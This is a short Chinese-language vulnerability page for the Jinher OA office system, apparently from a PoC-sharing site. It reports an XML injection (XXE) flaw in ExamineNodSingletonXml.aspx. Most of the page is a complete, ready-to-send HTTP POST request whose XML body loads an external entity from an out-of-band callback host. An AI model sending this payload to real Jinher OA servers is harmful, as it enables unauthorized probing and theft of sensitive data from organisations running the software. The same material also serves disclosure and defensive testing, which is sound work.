金和OA ExamineNodSingletonXml.aspx 存在XML注入漏洞

日期: 2025-10-28 | 影响软件: 金和OA | POC: 已公开

漏洞描述

金和OA ExamineNodSingletonXml.aspx 存在XML注入漏洞，攻击者可构造恶意请求获取敏感信息。

PoC代码

POST /c6/Jhsoft.Web.examinenod/ExamineNodSingletonXml.aspx/ HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 168
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://d3vglcfmei5dln4e85a0onyj47uwt33ne.oast.online/xxe_test">
%remote;]>
<root/>

相关漏洞推荐